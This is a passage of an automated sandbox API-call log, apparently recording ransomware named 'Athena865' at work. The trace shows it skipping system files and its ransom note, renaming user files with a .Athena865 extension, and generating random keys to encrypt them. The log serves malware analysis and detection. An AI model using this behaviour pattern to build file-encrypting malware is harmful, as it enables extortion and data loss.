CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.134] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16f0, lpName=0x0) returned 0x154 [0052.134] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16f0) returned 0x100000 [0052.135] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.135] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.135] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.136] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.136] CloseHandle (hObject=0x154) returned 1 [0052.136] CloseHandle (hObject=0x17c) returned 1 [0052.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.138] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeacfd80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xaeacfd80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xaeacfd80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xa79, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6gDHUsOfdzBpu1Km.lnk", cAlternateFileName="6GDHUS~1.LNK")) returned 1 [0052.138] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.138] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.138] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.lnk", lpString2=".") returned 1 [0052.138] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.lnk", lpString2="..") returned 1 [0052.138] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.lnk", lpString2="windows") returned -1 [0052.138] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.lnk", lpString2="bootmgr") returned -1 [0052.138] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.lnk", lpString2="temp") returned -1 [0052.138] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.lnk", lpString2="pagefile.sys") returned -1 [0052.138] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.lnk", lpString2="boot") returned -1 [0052.138] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.lnk", lpString2="ids.txt") returned -1 [0052.138] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.lnk", lpString2="ntuser.dat") returned -1 [0052.138] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.lnk", lpString2="perflogs") returned -1 [0052.138] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.lnk", lpString2="MSBuild") returned -1 [0052.138] lstrlenW (lpString="6gDHUsOfdzBpu1Km.lnk") returned 20 [0052.138] lstrcpyW (in: lpString1=0x241e8b4, lpString2="6gDHUsOfdzBpu1Km.lnk" | out: lpString1="6gDHUsOfdzBpu1Km.lnk") returned="6gDHUsOfdzBpu1Km.lnk" [0052.138] lstrlenW (lpString="6gDHUsOfdzBpu1Km.lnk") returned 20 [0052.138] lstrlenW (lpString="Athena865") returned 9 [0052.138] lstrcmpiW (lpString1="pu1Km.lnk", lpString2="Athena865") returned 1 [0052.138] lstrlenW (lpString=".dll") returned 4 [0052.138] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.lnk", lpString2=".dll") returned 1 [0052.138] lstrlenW (lpString=".lnk") returned 4 [0052.138] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.lnk", lpString2=".lnk") returned 1 [0052.138] lstrlenW (lpString=".ini") returned 4 [0052.138] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.lnk", lpString2=".ini") returned 1 [0052.138] lstrlenW (lpString=".sys") returned 4 [0052.138] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.lnk", lpString2=".sys") returned 1 [0052.138] lstrlenW (lpString="6gDHUsOfdzBpu1Km.lnk") returned 20 [0052.138] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\6gDHUsOfdzBpu1Km.lnk.Athena865") returned 84 [0052.139] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\6gDHUsOfdzBpu1Km.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\6gdhusofdzbpu1km.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\6gDHUsOfdzBpu1Km.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\6gdhusofdzbpu1km.lnk.athena865"), dwFlags=0x1) returned 1 [0052.141] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\6gDHUsOfdzBpu1Km.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\6gdhusofdzbpu1km.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.141] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2681) returned 1 [0052.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.142] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.142] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.142] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.142] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.143] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd80, lpName=0x0) returned 0x154 [0052.143] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd80) returned 0x100000 [0052.143] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.145] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.145] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.145] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.145] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.146] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.146] CloseHandle (hObject=0x154) returned 1 [0052.146] CloseHandle (hObject=0x17c) returned 1 [0052.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.147] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeeae140, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xaeeae140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xaeeae140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x9f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6Rn0J_l.lnk", cAlternateFileName="")) returned 1 [0052.147] lstrcmpiW (lpString1="6Rn0J_l.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.147] lstrcmpiW (lpString1="6Rn0J_l.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.147] lstrcmpiW (lpString1="6Rn0J_l.lnk", lpString2=".") returned 1 [0052.147] lstrcmpiW (lpString1="6Rn0J_l.lnk", lpString2="..") returned 1 [0052.147] lstrcmpiW (lpString1="6Rn0J_l.lnk", lpString2="windows") returned -1 [0052.147] lstrcmpiW (lpString1="6Rn0J_l.lnk", lpString2="bootmgr") returned -1 [0052.147] lstrcmpiW (lpString1="6Rn0J_l.lnk", lpString2="temp") returned -1 [0052.147] lstrcmpiW (lpString1="6Rn0J_l.lnk", lpString2="pagefile.sys") returned -1 [0052.147] lstrcmpiW (lpString1="6Rn0J_l.lnk", lpString2="boot") returned -1 [0052.147] lstrcmpiW (lpString1="6Rn0J_l.lnk", lpString2="ids.txt") returned -1 [0052.147] lstrcmpiW (lpString1="6Rn0J_l.lnk", lpString2="ntuser.dat") returned -1 [0052.147] lstrcmpiW (lpString1="6Rn0J_l.lnk", lpString2="perflogs") returned -1 [0052.147] lstrcmpiW (lpString1="6Rn0J_l.lnk", lpString2="MSBuild") returned -1 [0052.147] lstrlenW (lpString="6Rn0J_l.lnk") returned 11 [0052.147] lstrcpyW (in: lpString1=0x241e8b4, lpString2="6Rn0J_l.lnk" | out: lpString1="6Rn0J_l.lnk") returned="6Rn0J_l.lnk" [0052.147] lstrlenW (lpString="6Rn0J_l.lnk") returned 11 [0052.147] lstrlenW (lpString="Athena865") returned 9 [0052.147] lstrcmpiW (lpString1="n0J_l.lnk", lpString2="Athena865") returned 1 [0052.147] lstrlenW (lpString=".dll") returned 4 [0052.147] lstrcmpiW (lpString1="6Rn0J_l.lnk", lpString2=".dll") returned 1 [0052.147] lstrlenW (lpString=".lnk") returned 4 [0052.147] lstrcmpiW (lpString1="6Rn0J_l.lnk", lpString2=".lnk") returned 1 [0052.147] lstrlenW (lpString=".ini") returned 4 [0052.147] lstrcmpiW (lpString1="6Rn0J_l.lnk", lpString2=".ini") returned 1 [0052.147] lstrlenW (lpString=".sys") returned 4 [0052.147] lstrcmpiW (lpString1="6Rn0J_l.lnk", lpString2=".sys") returned 1 [0052.147] lstrlenW (lpString="6Rn0J_l.lnk") returned 11 [0052.147] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\6Rn0J_l.lnk.Athena865") returned 75 [0052.148] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\6Rn0J_l.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\6rn0j_l.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\6Rn0J_l.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\6rn0j_l.lnk.athena865"), dwFlags=0x1) returned 1 [0052.148] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\6Rn0J_l.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\6rn0j_l.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.149] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2550) returned 1 [0052.149] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.149] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.149] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.149] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.150] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.150] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.150] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x154 [0052.150] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0052.150] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.151] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.151] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.151] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.151] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.151] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.151] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.151] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.152] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.152] CloseHandle (hObject=0x154) returned 1 [0052.152] CloseHandle (hObject=0x17c) returned 1 [0052.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.153] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb205ec80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb205ec80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb205ec80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6Yik1-OYAgjiRnPga.mkv.lnk", cAlternateFileName="6YIK1-~1.LNK")) returned 1 [0052.153] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.153] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.153] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.lnk", lpString2=".") returned 1 [0052.153] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.lnk", lpString2="..") returned 1 [0052.153] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.lnk", lpString2="windows") returned -1 [0052.153] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.lnk", lpString2="bootmgr") returned -1 [0052.153] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.lnk", lpString2="temp") returned -1 [0052.153] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.lnk", lpString2="pagefile.sys") returned -1 [0052.153] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.lnk", lpString2="boot") returned -1 [0052.153] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.lnk", lpString2="ids.txt") returned -1 [0052.153] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.lnk", lpString2="ntuser.dat") returned -1 [0052.153] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.lnk", lpString2="perflogs") returned -1 [0052.153] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.lnk", lpString2="MSBuild") returned -1 [0052.153] lstrlenW (lpString="6Yik1-OYAgjiRnPga.mkv.lnk") returned 25 [0052.153] lstrcpyW (in: lpString1=0x241e8b4, lpString2="6Yik1-OYAgjiRnPga.mkv.lnk" | out: lpString1="6Yik1-OYAgjiRnPga.mkv.lnk") returned="6Yik1-OYAgjiRnPga.mkv.lnk" [0052.154] lstrlenW (lpString="6Yik1-OYAgjiRnPga.mkv.lnk") returned 25 [0052.154] lstrlenW (lpString="Athena865") returned 9 [0052.154] lstrcmpiW (lpString1="a.mkv.lnk", lpString2="Athena865") returned -1 [0052.154] lstrlenW (lpString=".dll") returned 4 [0052.154] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.lnk", lpString2=".dll") returned 1 [0052.154] lstrlenW (lpString=".lnk") returned 4 [0052.154] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.lnk", lpString2=".lnk") returned 1 [0052.154] lstrlenW (lpString=".ini") returned 4 [0052.154] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.lnk", lpString2=".ini") returned 1 [0052.154] lstrlenW (lpString=".sys") returned 4 [0052.154] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.lnk", lpString2=".sys") returned 1 [0052.154] lstrlenW (lpString="6Yik1-OYAgjiRnPga.mkv.lnk") returned 25 [0052.154] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\6Yik1-OYAgjiRnPga.mkv.lnk.Athena865") returned 89 [0052.154] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\6Yik1-OYAgjiRnPga.mkv.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\6yik1-oyagjirnpga.mkv.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\6Yik1-OYAgjiRnPga.mkv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\6yik1-oyagjirnpga.mkv.lnk.athena865"), dwFlags=0x1) returned 1 [0052.155] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\6Yik1-OYAgjiRnPga.mkv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\6yik1-oyagjirnpga.mkv.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.155] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=614) returned 1 [0052.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.156] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.156] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.156] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.156] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x570, lpName=0x0) returned 0x154 [0052.157] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x570) returned 0x100000 [0052.157] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.157] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.157] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.157] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.158] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.158] CloseHandle (hObject=0x154) returned 1 [0052.158] CloseHandle (hObject=0x17c) returned 1 [0052.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.159] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb06c8000, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb06c8000, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb06c8000, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7jk3oaLR.lnk", cAlternateFileName="")) returned 1 [0052.159] lstrcmpiW (lpString1="7jk3oaLR.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.159] lstrcmpiW (lpString1="7jk3oaLR.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.159] lstrcmpiW (lpString1="7jk3oaLR.lnk", lpString2=".") returned 1 [0052.159] lstrcmpiW (lpString1="7jk3oaLR.lnk", lpString2="..") returned 1 [0052.159] lstrcmpiW (lpString1="7jk3oaLR.lnk", lpString2="windows") returned -1 [0052.159] lstrcmpiW (lpString1="7jk3oaLR.lnk", lpString2="bootmgr") returned -1 [0052.159] lstrcmpiW (lpString1="7jk3oaLR.lnk", lpString2="temp") returned -1 [0052.159] lstrcmpiW (lpString1="7jk3oaLR.lnk", lpString2="pagefile.sys") returned -1 [0052.159] lstrcmpiW (lpString1="7jk3oaLR.lnk", lpString2="boot") returned -1 [0052.160] lstrcmpiW (lpString1="7jk3oaLR.lnk", lpString2="ids.txt") returned -1 [0052.160] lstrcmpiW (lpString1="7jk3oaLR.lnk", lpString2="ntuser.dat") returned -1 [0052.160] lstrcmpiW (lpString1="7jk3oaLR.lnk", lpString2="perflogs") returned -1 [0052.160] lstrcmpiW (lpString1="7jk3oaLR.lnk", lpString2="MSBuild") returned -1 [0052.160] lstrlenW (lpString="7jk3oaLR.lnk") returned 12 [0052.160] lstrcpyW (in: lpString1=0x241e8b4, lpString2="7jk3oaLR.lnk" | out: lpString1="7jk3oaLR.lnk") returned="7jk3oaLR.lnk" [0052.160] lstrlenW (lpString="7jk3oaLR.lnk") returned 12 [0052.160] lstrlenW (lpString="Athena865") returned 9 [0052.160] lstrcmpiW (lpString1="3oaLR.lnk", lpString2="Athena865") returned -1 [0052.160] lstrlenW (lpString=".dll") returned 4 [0052.160] lstrcmpiW (lpString1="7jk3oaLR.lnk", lpString2=".dll") returned 1 [0052.160] lstrlenW (lpString=".lnk") returned 4 [0052.160] lstrcmpiW (lpString1="7jk3oaLR.lnk", lpString2=".lnk") returned 1 [0052.160] lstrlenW (lpString=".ini") returned 4 [0052.160] lstrcmpiW 